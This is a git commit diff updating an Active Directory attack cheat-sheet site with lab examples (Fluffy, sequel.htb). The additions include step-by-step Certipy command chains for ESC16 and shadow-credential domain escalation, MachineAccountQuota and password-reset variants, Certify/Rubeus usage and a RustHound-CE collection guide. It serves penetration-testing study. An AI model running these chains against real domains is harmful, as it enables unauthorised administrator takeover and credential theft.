commit 1e70f0a36f0e844b00e4b3b26813f0225ec38763 parent a7f06732714b260546c818388e1d428340447e6b Author: DAEMON <zer0sec.xp@icloud.com> Date: Mon, 14 Sep 2026 04:18:51 +0100 updating a few different AD cheat sheets added credhunting for windows and linux Commit-Date: 2026-09-14T05:48:57+01:00 Commit-Host: omarchy Diffstat:
12 files changed, 932 insertions(+), 18 deletions(-)
diff --git a/src/content/sheets/active-directory/attack-19-genericall-abuse.md b/src/content/sheets/active-directory/attack-19-genericall-abuse.md @@ -196,7 +196,7 @@ python3 ldap_shell.py corp.local/low_user:'Password1'@DC01.corp.local # Shadow Credentials from Linux certipy shadow auto -u low_user@corp.local -p 'Password1' \ - -account targetadmin -dc-ip 10.10.10.10 + -account targetadmin -dc-ip 10.10.10.10 -dc-host dc01.corp.local ``` *** diff --git a/src/content/sheets/active-directory/attack-20-genericwrite-abuse.md b/src/content/sheets/active-directory/attack-20-genericwrite-abuse.md @@ -102,7 +102,7 @@ python3 pywhisker.py -d corp.local -u low_user -p 'Password1' \ # ── Certipy shadow auto (easiest) ──────────────────────────────────────────── certipy shadow auto -u low_user@corp.local -p 'Password1' \ - -account targetadmin -dc-ip 10.10.10.10 + -account targetadmin -dc-ip 10.10.10.10 -dc-host dc01.corp.local # Outputs: NT hash and TGT for targetadmin ``` diff --git a/src/content/sheets/active-directory/attack-25-shadow-credentials-attack-msds-keycredentiallink.md b/src/content/sheets/active-directory/attack-25-shadow-credentials-attack-msds-keycredentiallink.md @@ -114,7 +114,7 @@ python3 pywhisker.py -d corp.local -u low_user -p 'Password1' \ ```bash # ── Full automated chain — add key, auth, get hash ─────────────────────────── certipy shadow auto -u low_user@corp.local -p 'Password1' \ - -account targetadmin -dc-ip 10.10.10.10 + -account targetadmin -dc-ip 10.10.10.10 -dc-host dc01.corp.local # Output: # [*] Saved PFX to 'targetadmin.pfx' @@ -127,7 +127,7 @@ certipy shadow auto -u low_user@corp.local -p 'Password1' \ ```bash # ── Works on computer objects too (compromise the machine) ──────────────────── certipy shadow auto -u low_user@corp.local -p 'Password1' \ - -account 'TARGET$' -dc-ip 10.10.10.10 + -account 'TARGET$' -dc-ip 10.10.10.10 -dc-host dc01.corp.local # Use the machine's NT hash to: # - Silver Ticket to services on that machine diff --git a/src/content/sheets/active-directory/bloodyad.md b/src/content/sheets/active-directory/bloodyad.md @@ -427,7 +427,7 @@ bloodyAD --host dc01.sequel.htb -d sequel.htb -u ryan -p 'Passw0rd!' remove shad **Certipy equivalent (only if you prefer it):** ```bash -certipy-ad shadow auto -u ryan@sequel.htb -p 'Passw0rd!' -account victim -dc-ip 10.10.11.51 +certipy-ad shadow auto -u ryan@sequel.htb -p 'Passw0rd!' -account victim -dc-ip 10.10.11.51 -dc-host dc01.sequel.htb ``` > **Warning — Use the DC FQDN + watch the clock.** PKINIT is Kerberos: pass `--host dc01.sequel.htb` (name, not IP) and, if the DC clock is skewed, prefix `faketime -f '+Xh'`. This is exactly the gotcha on boxes like Fluffy. @@ -737,7 +737,7 @@ bloodyAD --host 10.10.11.51 -d sequel.htb -u ryan -p 'WqSZAF6CysDQbGb3' add gene **4. Shadow-cred the NT hash:** ```bash -certipy-ad shadow auto -u ryan@sequel.htb -p 'WqSZAF6CysDQbGb3' -account ca_svc -dc-ip 10.10.11.51 +certipy-ad shadow auto -u ryan@sequel.htb -p 'WqSZAF6CysDQbGb3' -account ca_svc -dc-ip 10.10.11.51 -dc-host dc01.sequel.htb ``` **5. Verify:** diff --git a/src/content/sheets/active-directory/certipy-ad.md b/src/content/sheets/active-directory/certipy-ad.md @@ -13,6 +13,8 @@ source: "vault:ActiveDirectory/Certipy-ad.md" > **A comprehensive guide for Active Directory Certificate Services enumeration and exploitation using Certipy-ad** +> **Note — `certipy-ad` and `certipy` are the same tool.** `certipy-ad` is only the PyPI package name (the `certipy` name was already taken); the syntax, flags and subcommands are identical. The binary on your `$PATH` may be `certipy` or `certipy-ad` depending on the install (Kali apt → `certipy-ad`; `pip install certipy-ad` → usually `certipy`). Drop the `-ad` in any command below if that is what your box exposes; run `which certipy certipy-ad` to check. + *** ## 📋 Table of Contents diff --git a/src/content/sheets/active-directory/certipy.md b/src/content/sheets/active-directory/certipy.md @@ -14,7 +14,7 @@ source: "repo:Active-Directory/Certipy-ad.md" A guide for Active Directory Certificate Services (AD CS) enumeration and exploitation using Certipy. -> **Note —** The package installs as `certipy-ad`; on many builds the invoked binary is `certipy`. Commands below use `certipy-ad` as written — substitute `certipy` if that is what your install exposes. +> **Note — `certipy-ad` vs `certipy`:** these are the **same tool with identical syntax**, not two different programs. `certipy-ad` is the PyPI package name (the plain `certipy` name was already taken). Depending on how it was installed the binary on your `$PATH` may be `certipy` or `certipy-ad` (Kali's apt package ships `certipy-ad`; `pip install certipy-ad` usually exposes `certipy`). Commands below are written as `certipy-ad` — just drop the `-ad` if that is what your install exposes. Every flag and subcommand is the same either way. Check with `which certipy certipy-ad`. ## Overview @@ -258,15 +258,22 @@ Actions: `auto` (add, auth, restore), `list`, `add`, `remove`, `clear`, `info`. ```bash # Automatic shadow credential attack -certipy-ad shadow auto -u user@domain.local -p 'password' -account 'target_user' -dc-ip 10.10.11.51 +certipy-ad shadow auto -u user@domain.local -p 'password' -account 'target_user' -dc-ip 10.10.11.51 -dc-host dc01.domain.local # List Key Credentials -certipy-ad shadow list -u user@domain.local -p 'password' -account 'target_user' -dc-ip 10.10.11.51 +certipy-ad shadow list -u user@domain.local -p 'password' -account 'target_user' -dc-ip 10.10.11.51 -dc-host dc01.domain.local # Add Key Credential -certipy-ad shadow add -u user@domain.local -p 'password' -account 'target_user' -dc-ip 10.10.11.51 +certipy-ad shadow add -u user@domain.local -p 'password' -account 'target_user' -dc-ip 10.10.11.51 -dc-host dc01.domain.local ``` +> **Certipy v5 gotcha —** `shadow auto` with `-dc-ip` but **no** `-dc-host` fails with `[Errno 113] No route to host` even when the IP is correct and `/etc/hosts` is set. Either pass `-dc-host dc01.<domain>` (add `-ns <DC_IP>` to pin DNS) **or** drop `-dc-ip` entirely and let Certipy resolve the DC itself: +> ```bash +> # Works — no -dc-ip, Certipy resolves the DC via DNS / /etc/hosts +> certipy-ad shadow auto -u p.agila@fluffy.htb -p prometheusx-303 -account winrm_svc +> ``` +> Also expand shell variables with **double** quotes, not single: `-u "$USER@fluffy.htb"` (single quotes pass the literal string `$USER`). + ### 6. `account` - Manage Accounts Create, read, update, delete AD accounts. @@ -486,8 +493,8 @@ Key commands: bloodyAD -d sequel.htb --host 10.10.11.51 -u ryan -p 'WqSZAF6CysDQbGb3' set owner ca_svc ryan bloodyAD -d sequel.htb --host 10.10.11.51 -u ryan -p 'WqSZAF6CysDQbGb3' add genericAll ca_svc ryan -# Shadow credential attack -certipy-ad shadow auto -u ryan@sequel.htb -p 'WqSZAF6CysDQbGb3' -account 'ca_svc' -dc-ip 10.10.11.51 +# Shadow credential attack (v5: pass -dc-host, or drop -dc-ip — see the shadow section gotcha) +certipy-ad shadow auto -u ryan@sequel.htb -p 'WqSZAF6CysDQbGb3' -account 'ca_svc' -dc-ip 10.10.11.51 -dc-host dc01.sequel.htb # ESC4 enumeration certipy-ad find -vulnerable -u ca_svc -hashes :3b181b914e7a9d5508ea1e20bc2b7fce -dc-ip 10.10.11.51 -stdout diff --git a/src/content/sheets/active-directory/esc16-security-extension-disabled-on-ca-globally.md b/src/content/sheets/active-directory/esc16-security-extension-disabled-on-ca-globally.md @@ -98,6 +98,33 @@ Certificate Authorities > 💡 This is **exactly what Fluffy showed** — ESC8, ESC6 and ESC11 all closed off, but ESC16 present. The CA had the SID extension globally disabled. +> [!note] The real tell is `Disabled Extensions`, and an empty template list is normal +> Depending on version, Certipy may not print a tidy `ESC16 : Security extension is disabled` line. The definitive indicator is on the CA object: +> ``` +> Disabled Extensions : 1.3.6.1.4.1.311.25.2 +> ``` +> `1.3.6.1.4.1.311.25.2` **is** `szOID_NTDS_CA_SECURITY_EXT`. If it appears in `Disabled Extensions`, the CA is ESC16-vulnerable — full stop. +> +> Running with `-vulnerable` and seeing `Certificate Templates : [!] Could not find any certificate templates` is **expected, not a failure**. `-vulnerable` filters to *template-level* findings (ESC1/2/3/4/9/13/15…); ESC16 is a **CA-wide** flaw, so it shows under the CA config while the filtered template list is empty. To choose a template to enrol in, re-run **without** `-vulnerable` and pick one with a Client Authentication / Smart Card Logon / PKINIT EKU (e.g. `User`). +> +> Harmless noise in the same run: `Failed to connect to remote registry ... Trying again` (RRP starts the service and retries) and `Error checking web enrollment: timed out` (Web Enrollment is `Enabled: False` — only relevant to ESC8). + +> [!warning] The `ESC16` verdict only prints if you authenticate as an account that can **enroll** +> This is the #1 reason people see `Disabled Extensions : 1.3.6.1.4.1.311.25.2` but **no** `[!] Vulnerabilities → ESC16` line. Certipy gates the verdict (`find.py`): +> ```python +> if disabled_extensions and will_issue and user_can_enroll: # ← user_can_enroll +> vulnerabilities["ESC16"] = "Security Extension is disabled." +> ``` +> `user_can_enroll` means *the account in `-u`* holds the **Enroll** right on the CA. On Fluffy the CA grants `Enroll` to `Cert Publishers` (and `Administrators`) — and **`ca_svc` is in Cert Publishers, `winrm_svc` is not.** +> ```bash +> # As winrm_svc → Disabled Extensions shown, but NO ESC16 line (winrm_svc can't enroll) +> certipy-ad find -u winrm_svc@fluffy.htb -hashes :33bd... -dc-ip $DC -vulnerable -stdout +> +> # As ca_svc → ESC16 verdict prints (ca_svc enrolls via Cert Publishers) +> certipy-ad find -u ca_svc@fluffy.htb -hashes :ca0f... -dc-ip $DC -vulnerable -stdout +> ``` +> Enumerate ESC16 as the **enroller**, not the writer. Either way `Disabled Extensions : 1.3.6.1.4.1.311.25.2` alone already proves the CA is vulnerable — the verdict line is just certipy confirming *you* can reach it. + *** ## Full Attack Chain — Linux (Certipy v5.1.0) @@ -107,11 +134,22 @@ The attack is a **4-step chain**: read + hijack the UPN → request the cert as > [!warning] `account` actions are `create` / `read` / `update` / `delete` > There is **no `lookup` action**. Use `read` to view an account and `update` to change it. The action is a positional argument at the **end** of the command, and `-user <SAM>` is required. +> [!note] Why two different accounts? (This is not overcomplication) +> The chain uses **two accounts for two distinct jobs**, and on Fluffy you cannot merge them: +> - **The *writer* (`winrm_svc`)** — the account that can write the target's `userPrincipalName`. On Fluffy this right is **not held by winrm_svc directly** — it belongs to the **`Service Accounts` group**, which has `GenericWrite` over `ca_svc`. `winrm_svc` is a *member* of that group, so it inherits the write. It runs every `account read`/`update` command (authenticated as `-u winrm_svc`, targeting `-user ca_svc`). +> - **The *enroller* (`ca_svc`)** — the account with enrollment rights on the CA (here via Cert Publishers). It runs the `req` command (authenticated as `-u ca_svc`), because its UPN is the one you hijacked. +> +> **Why the ca_svc hash alone is not enough:** having `ca_svc`'s hash lets you *authenticate as* ca_svc, but ca_svc is **not** a member of `Service Accounts` — it is the *target* of that group's `GenericWrite`, so it cannot rename itself. An account cannot rewrite its own UPN unless it explicitly holds that right. The rename right lives on the group; your way into the group is `winrm_svc`. Hash = who you are; the ACE = what you may do. +> +> **When one account is enough:** if a single account can *both* enroll *and* have its UPN written by you (e.g. a computer account you created via MAQ — see Scenario 3 — or any account you have `GenericWrite` over that also enrolls), use it for every step and the `-u` is identical throughout. Fluffy needs two only because ca_svc holds the enrollment right while a *different* principal (the Service Accounts group, reachable via winrm_svc) holds the write over ca_svc. +> +> **Do you even need the `read` step?** No — it only records the original UPN so you can restore it exactly in Step 3. If you already know it (`ca_svc@fluffy.htb`), skip straight to the `update`. And the restore itself is optional for *success*: `administrator.pfx` is valid forever regardless (see Step 3). Restore only for cleanup and to shrink the rapid-4738 detection window. + *** ### Step 1 — Read, then hijack ca_svc's UPN -You need write over the controlled account's `userPrincipalName` (here `winrm_svc` can write `ca_svc`), and `ca_svc` must be able to enrol in a Client Auth template (e.g. `User`). +You need write over the controlled account's `userPrincipalName` (here `winrm_svc` can write `ca_svc` **because the `Service Accounts` group holds `GenericWrite` over `ca_svc` and `winrm_svc` is a member** — ca_svc itself is not, so it cannot rename itself), and `ca_svc` must be able to enrol in a Client Auth template (e.g. `User`). ```bash # Read the current UPN first so you can restore it exactly @@ -182,12 +220,137 @@ evil-winrm -i $TARGET -u administrator -H 8da83a3fa618b6e3a00e93f676c92a6e *** +## Generic Exploitation — Every Way to Do It + +Fluffy is only one shape of ESC16. Strip it to the essentials: you need an account you can **(1) authenticate as so it can enroll**, and whose **(2) `userPrincipalName` you can set to a victim**. Solve those two sub-problems independently and *any* combination works. The pattern is always **write the UPN → enroll → restore → auth**; only *how you obtain the account* and *who writes the UPN* changes. + +### The two sub-problems + +**(1) An enroll-capable account you can authenticate as.** Any account with enrollment rights on a Client-Auth template — the default `User` template lets all Domain Users enroll. You obtain one by: + +| Method | Requirement | Result | +|---|---|---| +| Already have creds | you hold its password / NT hash | ready to enroll (Fluffy: `ca_svc`) | +| **Shadow Credentials** | `GenericWrite`/`GenericAll`/`AddKeyCredentialLink` over it | PKINIT → its NT hash | +| **Password reset** | `ForceChangePassword`/`GenericAll` over it | set a password you know | +| **Create one** | `ms-DS-MachineAccountQuota > 0` (default 10) | a computer account you fully own | + +**(2) Write access to that account's `userPrincipalName`:** + +| Method | Requirement | +|---|---| +| Direct ACL | `GenericWrite` / `GenericAll` / `WriteProperty(userPrincipalName)` over the account | +| Ownership | you created the account (MAQ) → you own every attribute | +| Separate writer | a *different* principal holds the write edge (Fluffy: `winrm_svc → ca_svc`) | + +If one account satisfies both, it is a **one-account** attack. If the write comes from a different principal, it is **two**. Nothing else changes. + +### Scenario matrix + +| # | What you hold | Enroll as | Who writes the UPN | Accounts | +|---|---|---|---|---| +| 1 | `GenericAll`/`GenericWrite` over target `T` (no creds yet) | `T` after Shadow Creds | you (over `T`) | one | +| 2 | Creds for `E` **+** separate writer `W` with `GenericWrite`→`E` | `E` | `W` | two (Fluffy) | +| 3 | `MachineAccountQuota > 0` | new `EVILPC$` | you (own it) | one (created) | +| 4 | `GenericAll`/`ForceChangePassword` over user `T` | `T` after pw reset | you (over `T`) | one | + +*** + +### Scenario 1 — One account you have GenericWrite/GenericAll over (no creds yet) + +A single control primitive does the whole chain: shadow-cred it for a hash, then swap its UPN and enroll as it. + +```bash +# 0. Confirm ESC16 +certipy-ad find -u 'you@domain.htb' -p 'Pass' -dc-ip $DC -vulnerable -stdout + +# 1. Recover the target's hash via Shadow Credentials +certipy-ad shadow auto -u 'you@domain.htb' -p 'Pass' -dc-ip $DC -dc-host dc01.domain.htb -account target_svc +# → NT hash for target_svc + +# 2. Hijack its UPN to the victim +certipy-ad account -u 'you@domain.htb' -p 'Pass' -dc-ip $DC -user target_svc -upn administrator update + +# 3. Enroll AS the target (its UPN is now administrator) +certipy-ad req -u target_svc -hashes :<target_hash> -dc-ip $DC -target dc01.domain.htb -ca 'DOMAIN-CA' -template User + +# 4. Restore the UPN, then authenticate with the cert +certipy-ad account -u 'you@domain.htb' -p 'Pass' -dc-ip $DC -user target_svc -upn 'target_svc@domain.htb' update +certipy-ad auth -pfx administrator.pfx -u administrator -domain domain.htb -dc-ip $DC +``` + +### Scenario 2 — Two accounts (the Fluffy shape) + +Writer ≠ enroller — you hold creds for both. Generic form of the full chain above: + +```bash +certipy-ad account -u writer@domain.htb -hashes :<writer_hash> -dc-ip $DC -user enroller -upn administrator update +certipy-ad req -u enroller -hashes :<enroller_hash> -dc-ip $DC -target ca.domain.htb -ca 'DOMAIN-CA' -template User +certipy-ad account -u writer@domain.htb -hashes :<writer_hash> -dc-ip $DC -user enroller -upn 'enroller@domain.htb' update +certipy-ad auth -pfx administrator.pfx -u administrator -domain domain.htb -dc-ip $DC +``` + +### Scenario 3 — MachineAccountQuota (bring your own account) + +No pre-existing writable account required if you can add machines. You own what you create, so you control its UPN outright. + +```bash +# 1. Create a computer account you fully control +certipy-ad account -u 'you@domain.htb' -p 'Pass' -dc-ip $DC -user 'EVILPC$' -pass 'Passw0rd!' create +# (equivalents: addcomputer.py -computer-name EVILPC$ ... / Powermad New-MachineAccount) + +# 2. Set its UPN to the victim +certipy-ad account -u 'you@domain.htb' -p 'Pass' -dc-ip $DC -user 'EVILPC$' -upn administrator update + +# 3. Enroll as EVILPC$ in a template it can enroll in +certipy-ad req -u 'EVILPC$' -p 'Passw0rd!' -dc-ip $DC -target ca.domain.htb -ca 'DOMAIN-CA' -template User + +# 4. Auth +certipy-ad auth -pfx administrator.pfx -u administrator -domain domain.htb -dc-ip $DC +``` + +> Computer accounts have **no UPN by default** — setting one is exactly the ESC16 lever. Enroll in a template whose enrollment scope includes computers (or `Domain Computers`), or one that emits the UPN. + +### Scenario 4 — ForceChangePassword / GenericAll over a user + +```bash +# 1. Reset the target's password (any of these, per the right you hold) +certipy-ad account -u 'you@domain.htb' -p 'Pass' -dc-ip $DC -user target_user -pass 'NewPass123!' update +# equivalents: net rpc password / bloodyAD set password / pth changepasswd +# 2-4. Continue exactly as Scenario 1 from the UPN swap, authenticating as target_user with the new password. +``` + +*** + +### Choosing the victim and the template + +- **Victim** is any privileged identity, not just `administrator` — any Domain Admin or DA-equivalent works. Use the **bare `sAMAccountName`** as the UPN value (e.g. `administrator`, not `administrator@domain.htb`) so it matches the victim's *implicit* UPN. This only works if the victim has **no explicit `userPrincipalName`** already set (the built-in Administrator usually does not); if it does, set your controlled account's UPN to that exact string instead. +- **Template** must carry a **Client Authentication**, **Smart Card Logon**, or **PKINIT** EKU and permit your enroll account to enroll. Default `User` (for users) and `Machine` (for computers) normally qualify. Machine/computer certificates map by **DNS**, so when enrolling with a computer account for a UPN-based ESC16, prefer a user-style template or one that emits the UPN. +- **Any CA on the domain with ESC16 set** is usable — you are not tied to the CA that issued other certs. `certipy find -vulnerable` lists every affected CA; pass the right `-ca` / `-target`. + +### Windows tooling (Certify + Rubeus) + +```text +# Enumerate +Certify.exe find /vulnerable + +# Swap the UPN with native tooling, then request: +Set-ADUser target_svc -UserPrincipalName administrator # or PowerView Set-DomainObject +Certify.exe request /ca:CA-HOST\CA-NAME /template:User # run as target_svc +Set-ADUser target_svc -UserPrincipalName target_svc@domain.htb # restore + +# Convert + authenticate +Rubeus.exe asktgt /user:administrator /certificate:cert.pfx /password:<pfx-pw> /ptt +``` + +*** + ## ESC16 Visual Attack Flow (Fluffy-style) ``` -[winrm_svc has GenericWrite over ca_svc] - │ - │ certipy account -user ca_svc -upn administrator update +[winrm_svc ∈ Service Accounts group ─ group has GenericWrite over ca_svc] + │ (ca_svc cannot rename itself; winrm_svc inherits the write via the group) + │ certipy account -u winrm_svc -user ca_svc -upn administrator update ▼ [ca_svc.userPrincipalName = "administrator"] ← Temporary │ diff --git a/src/content/sheets/active-directory/esc5-vulnerable-pki-object-access-control.md b/src/content/sheets/active-directory/esc5-vulnerable-pki-object-access-control.md @@ -117,7 +117,7 @@ If you have `GenericWrite` or `GenericAll` over the CA server's **computer objec certipy-ad shadow auto \ -u 'lowpriv@domain.htb' \ -p 'Password123!' \ - -dc-ip $TARGET \ + -dc-ip $TARGET -dc-host dc01.domain.htb \ -target 'CA-SERVER$' # Or RBCD diff --git a/src/content/sheets/active-directory/rusthound-ce.md b/src/content/sheets/active-directory/rusthound-ce.md @@ -0,0 +1,328 @@ +--- +title: "RustHound-CE" +description: "Cross-platform BloodHound Community Edition collector written in Rust. Fast LDAP-based AD enumeration with pass-the-hash, Kerberos, certificate auth and ADCS-aware output." +category: active-directory +subcategory: "Tooling & Recon" +tags: ["active-directory", "kerberos", "adcs"] +tools: ["RustHound-CE", "BloodHound", "SharpHound", "Impacket", "faketime"] +difficulty: intermediate +updated: "2026-09-13" +source: "vault:ActiveDirectory/RustHound-CE_Cheatsheet.md" +--- + +# 🦀 RustHound-CE Cheatsheet + +> **Complete guide to using RustHound-CE for BloodHound Community Edition data collection.** + +RustHound-CE is a fast, cross-platform BloodHound **Community Edition** collector written in Rust, maintained by **g0h4n**. It talks to a Domain Controller over LDAP/LDAPS from Linux, macOS or Windows and emits CE-schema JSON (optionally zipped) for ingestion into the BloodHound CE web UI. + +> [!warning] CE-only output schema +> RustHound-CE produces **BloodHound CE** JSON, which is **not** interchangeable with legacy BloodHound. For legacy BloodHound, use the separate NeverHack-maintained RustHound (original), `bloodhound-python`, or SharpHound v1. Uploading the wrong schema silently fails or mis-parses. + +Related notes: SharpHound, bloodhound-ce-python, BloodHound, NetExec, Impacket, faketime, Kerberos Tickets. + +--- + +## 📋 Table of Contents + +- [Overview](#-overview) +- [Installation](#-installation) +- [CLI Options Reference](#-cli-options-reference) +- [Basic Usage](#-basic-usage) +- [Authentication Methods](#-authentication-methods) +- [Collection Methods](#-collection-methods) +- [Performance & Reliability](#-performance--reliability) +- [DNS & Host Resolution](#-dns--host-resolution) +- [Time Skew & Kerberos Gotchas](#-time-skew--kerberos-gotchas) +- [Ingesting into BloodHound CE](#-ingesting-into-bloodhound-ce) +- [SharpHound / bloodhound-python Equivalents](#-sharphound--bloodhound-python-equivalents) +- [Troubleshooting](#-troubleshooting) +- [OPSEC Notes](#-opsec-notes) + +--- + +## 🎯 Overview + +**RustHound-CE** enumerates Active Directory over LDAP to map attack paths, ACLs, sessions, trusts and (optionally) ADCS relationships for BloodHound CE. + +### Key features +- ✅ Single static binary, no .NET / Python runtime needed +- ✅ Cross-platform: Linux, macOS, Windows, ARM +- ✅ Runs remotely from a non-domain-joined attacker host +- ✅ Password, NTLM hash (pass-the-hash), Kerberos ccache, and client-certificate auth +- ✅ LDAPS support and custom LDAP filters +- ✅ On-disk caching and `--resume` for large / flaky environments +- ✅ Outputs CE-compatible JSON, optionally zipped for direct upload + +### Compatibility +- **Targets:** BloodHound **Community Edition** only. +- **Legacy BloodHound:** use the original RustHound (NeverHack) or `bloodhound-python`. +- Always match collector output to your BloodHound server version; check the CE web UI under **Settings → Download Collectors** for the expected format. + +--- + +## 📦 Installation + +### Via Cargo (recommended) +```bash +cargo install rusthound-ce +# binary lands in ~/.cargo/bin/rusthound-ce +``` + +### Build dependencies (Debian/Ubuntu/Kali) +```bash +sudo apt install -y gcc clang libclang-dev \ + libgssapi-krb5-2 libkrb5-dev libsasl2-modules-gssapi-mit \ + musl-tools gcc-mingw-w64-x86-64 +``` +The Kerberos and SASL packages are needed for `-k` (GSSAPI) auth; the musl and mingw toolchains are only needed for static / cross-compiled builds. + +### From source +```bash +git clone https://github.com/g0h4n/RustHound-CE +cd RustHound-CE + +make release # optimized build for the current system +# or +cargo build --release +``` + +### Makefile cross-compile targets +```bash +make windows # cross-compile a Windows .exe +make linux_musl # static Linux binary (portable, no libc deps) +make linux_aarch64 # ARM64 Linux +make armv7 # ARMv7 +make macos # macOS +make install # install locally / make uninstall to remove +``` + +### Docker +```bash +# build the image, then run against the current dir as output volume +docker run --rm -v "$PWD":/usr/src/rusthound-ce rusthound-ce \ + -d domain.local -u user@domain.local -p 'Password123' -o /usr/src/rusthound-ce -z +``` + +--- + +## 🧰 CLI Options Reference + +``` +rusthound-ce [OPTIONS] --domain <domain> +``` + +| Flag | Long form | Description | +|:-----|:----------|:------------| +| `-d` | `--domain <domain>` | **Required.** Domain FQDN, e.g. `DOMAIN.LOCAL` | +| `-u` | `--ldapusername <user>` | LDAP username, e.g. `user@domain.local` | +| `-p` | `--ldappassword <pass>` | LDAP password | +| `-H` | `--hashes <hashes>` | NT hash for pass-the-hash (NTLM) | +| `-k` | `--kerberos` | Kerberos auth via ccache (`KRB5CCNAME`) | +| `-f` | `--ldapfqdn <fqdn>` | DC FQDN, e.g. `DC01.DOMAIN.LOCAL` or just `DC01` | +| `-i` | `--ldapip <ip>` | Domain Controller IP address | +| `-P` | `--ldapport <port>` | LDAP port (default `389`, or `636` with `--ldaps`) | +| | `--ldaps` | Force LDAPS (TLS) for requests | +| | `--dns-tcp` | Use TCP instead of UDP for DNS queries | +| `-n` | `--name-server <ip>` | Alternative DNS server IP | +| | `--pfx <pfx>` | PFX / PKCS#12 client certificate | +| | `--pfx-pass <pass>` | PFX file password (optional) | +| | `--crt <crt>` | PEM client certificate | +| | `--key <key>` | PEM private key | +| `-o` | `--output <dir>` | Output directory (default `./`) | +| `-z` | `--zip` | Compress JSON files into a single archive | +| `-c` | `--collectionmethod [<M>]` | `All` (LDAP,SMB,HTTP) or `DCOnly` (default `All`) | +| | `--cache` | Cache LDAP results to disk | +| | `--cache-buffer <n>` | Buffer size when caching (default `1000`) | +| | `--resume` | Resume from last saved state | +| | `--ldap-filter <filter>` | Custom LDAP filter (default `(objectClass=*)`) | +| | `--fqdn-resolver` | Module to resolve computer IP addresses | +| `-v` | `-v...` | Increase verbosity (`-v`, `-vv`, `-vvv`) | +| `-h` | `--help` | Print help | +| `-V` | `--version` | Print version | + +--- + +## 🚀 Basic Usage + +```bash +# Minimal: password auth, zip the output +rusthound-ce -d domain.local -u user@domain.local -p 'Password123' -o output/ -z + +# Point at a specific DC by IP (skip DNS discovery) +rusthound-ce -d domain.local -u user@domain.local -p 'Password123' \ + -i 10.10.10.10 -o output/ -z + +# Verbose (trace what LDAP queries run and why something is missing) +rusthound-ce -d domain.local -u user@domain.local -p 'Password123' \ + -o output/ -z -vv +``` + +Output is a set of `*_users.json`, `*_computers.json`, `*_groups.json`, `*_gpos.json`, `*_ous.json`, `*_domains.json`, `*_containers.json` files (plus ADCS/cert objects when reachable). With `-z` they are bundled into a timestamped zip ready for upload. + +--- + +## 🔐 Authentication Methods + +### Username + password +```bash +rusthound-ce -d domain.local -u user@domain.local -p 'Password123' -o output/ -z +``` + +### Pass-the-hash (NTLM) +```bash +# NT hash only; leave the LM half empty +rusthound-ce -d domain.local -u user -H :2b576acbe6bcfda7294d6bd18041b8fe -o output/ -z +``` + +### Kerberos (ccache) +```bash +# 1) Obtain a TGT (impacket) and export the ccache +getTGT.py domain.local/user:'Password123' -dc-ip 10.10.10.10 +export KRB5CCNAME=$PWD/user.ccache + +# 2) Collect with -k; -f names the DC so the SPN resolves +rusthound-ce -d domain.local -k -f DC01.domain.local -o output/ -z +``` +On a **domain-joined Windows** host you can just run `rusthound-ce -d domain.local -k -f DC01` to reuse the current logon session. + +### Client certificate (PKINIT / LDAPS mTLS) +```bash +# PEM cert + key +rusthound-ce -d DOMAIN.LOCAL -f DC01.DOMAIN.LOCAL \ + --crt user.crt --key user.key --ldaps -o output/ -z + +# PFX bundle +rusthound-ce -d DOMAIN.LOCAL -f DC01.DOMAIN.LOCAL \ + --pfx user.pfx --pfx-pass 'certpass' --ldaps -o output/ -z +``` +Useful after an ADCS/Shadow-Credentials attack where you hold a certificate but no cleartext password. + +--- + +## 🗂️ Collection Methods + +```bash +# All (default): LDAP + SMB + HTTP — full session/local-group data +rusthound-ce -c All -d domain.local -u user@domain.local -p 'pass' -o output/ -z + +# DCOnly: LDAP against the DC only — no SMB/HTTP touch to member hosts +rusthound-ce -c DCOnly -d domain.local -u user@domain.local -p 'pass' -o output/ -z +``` + +- **All** — LDAP objects plus SMB/HTTP calls to member computers for sessions and local-group membership. Louder, needs reachability to hosts, but yields richer attack paths. +- **DCOnly** — talks only to the DC over LDAP. Quietest option: no direct contact with workstations/servers, so no per-host sessions or local admin data, but full objects, ACLs, trusts and GPOs. + +### Custom LDAP filter +```bash +# Narrow the collection (e.g. one OU or object class) +rusthound-ce -d domain.local -u user@domain.local -p 'pass' \ + --ldap-filter '(objectClass=user)' -o output/ -z +``` + +--- + +## ⚡ Performance & Reliability + +```bash +# Cache LDAP results to disk with a large buffer (big domains) +rusthound-ce -d domain.local -u user@domain.local -p 'pass' \ + -o output/ --cache --cache-buffer 10000 -z + +# Resume a collection that was interrupted (flaky link / disconnect) +rusthound-ce -d domain.local -u user@domain.local -p 'pass' \ + -o output/ --cache --resume -z +``` +`--cache` writes intermediate results so `--resume` can pick up where a dropped run left off. Raise `--cache-buffer` for very large directories to reduce disk churn. + +--- + +## 🌐 DNS & Host Resolution + +```bash +# Resolve computer IPs during collection +rusthound-ce -d domain.local -u user@domain.local -p 'pass' \ + --fqdn-resolver -o output/ -z + +# Force TCP for DNS (UDP blocked/filtered) and use a specific resolver +rusthound-ce -d domain.local -u user@domain.local -p 'pass' \ + --fqdn-resolver --dns-tcp -n 10.10.10.10 -o output/ -z +``` +`--fqdn-resolver` maps computer objects to IP addresses; combine with `--dns-tcp` when UDP/53 is filtered, and `-n` to point at the internal DNS server (usually the DC). + +--- + +## ⏰ Time Skew & Kerberos Gotchas + +Kerberos rejects tickets when the clock differs from the DC by more than ~5 minutes (`KRB_AP_ERR_SKEW`). Sync or fake your clock: + +```bash +# Read DC time, then wrap the collector with faketime +sudo ntpdate 10.10.10.10 # if allowed +# or +faketime "$(date -u -d "$(net time -S 10.10.10.10)" '+%Y-%m-%d %H:%M:%S')" \ + rusthound-ce -d domain.local -k -f DC01.domain.local -o output/ -z +``` +See the **faketime** note for the reliable one-liner pattern. + +--- + +## 📥 Ingesting into BloodHound CE + +```bash +# Output is already CE-schema JSON; -z gives one zip to upload +rusthound-ce -d domain.local -u user@domain.local -p 'pass' -o output/ -z +``` + +1. Open the BloodHound **CE** web UI. +2. Go to **Administration / File Ingest** (or drag-and-drop onto the graph). +3. Upload the `.zip` (or the individual `.json` files). +4. Wait for the ingest job to finish, then run built-in queries (Shortest Paths to Domain Admins, Kerberoastable users, etc.). + +> [!tip] Automated upload +> You can push the JSON straight into CE with the `bloodhound-cli` / API or tools like `bhcli`, avoiding the web upload for repeatable pipelines. + +--- + +## 🔄 SharpHound / bloodhound-python Equivalents + +| Goal | RustHound-CE | SharpHound (v2, CE) | bloodhound-ce-python | +|:-----|:-------------|:--------------------|:---------------------| +| Full collection, zipped | `-c All ... -z` | `-c All --zippassword ...` | `-c All --zip` | +| DC-only / quiet | `-c DCOnly` | `-c DCOnly` | `-c DCOnly` | +| 